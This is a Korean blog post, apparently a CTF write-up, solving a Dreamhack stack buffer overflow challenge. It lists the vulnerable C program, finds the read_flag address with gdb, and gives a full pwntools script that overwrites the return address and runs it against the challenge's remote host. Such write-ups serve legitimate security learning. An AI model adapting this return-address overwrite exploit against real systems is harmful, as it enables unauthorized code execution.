728x90
반응형
오늘은 드림핵의 basic exploitation 2를 풀어볼 것이다.
일단 먼저 주어진 C코드르 확인해보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
그냥 buf 0x80 바이트를 받는 프로그램이다.
그런데 read_flag라는 함수가 있다.
아마도 buf를 BOF 하여 return address에 read_flag의 주소를 넣어서 flag를 얻는 것 같다.
먼저 스택의 구조를 파악해보자.
#stack
buf[0x80]
sfp[4]
ret[4]
ret를 덮으려면 0x80 + 0x4의 바이트를 넣으면 된다.
이제 gdb를 이용하여 read_flag의 위치를 확인해보자.
psj@ubuntu:~$ gdb -q ./basic_exploitation_001
Reading symbols from ./basic_exploitation_001...(no debugging symbols found)...done.
(gdb) info func read_flag
All functions matching regular expression "read_flag":
Non-debugging symbols:
0x080485b9 read_flag
read_flag의 주소는 0x080485b9이다.
그러면 nop 을 0x84 bytes를 넣고 0x080485b9를 넣으면 된다.
이제 exploit code를 짜보자.
from pwn import *
p = remote("host1.dreamhack.games",11740)
#p = process("./basic_exploitation_001")
#buf(0x80) + sfp(4) + ret(4) = 136
ret = 0x080485b9 #read_flag address
payload = b'\x90' * 0x80 #buf
payload += b'\x90' * 4 #sfp
payload += p32(ret) #ret
p.sendline(payload)
flag = p.recvuntil("}") #flag format : DH{}
print(flag)
이제 스크립트를 실행해보자.
위처럼 flag가 나오는 걸 확인할 수 있다.(flag는 직접 해보고 확인....)
728x90
반응형
'워게임' 카테고리의 다른 글
Dreamhack - ssp_000 (0) | 2021.07.31 |
---|---|
Dreamhack - web-misconf-1 (0) | 2021.07.29 |
HackCTF - ROP (0) | 2021.07.27 |
HackCTF - BOF_Basic #1 (0) | 2021.07.27 |
Shellcode(쉘코드) 모음 (0) | 2021.07.27 |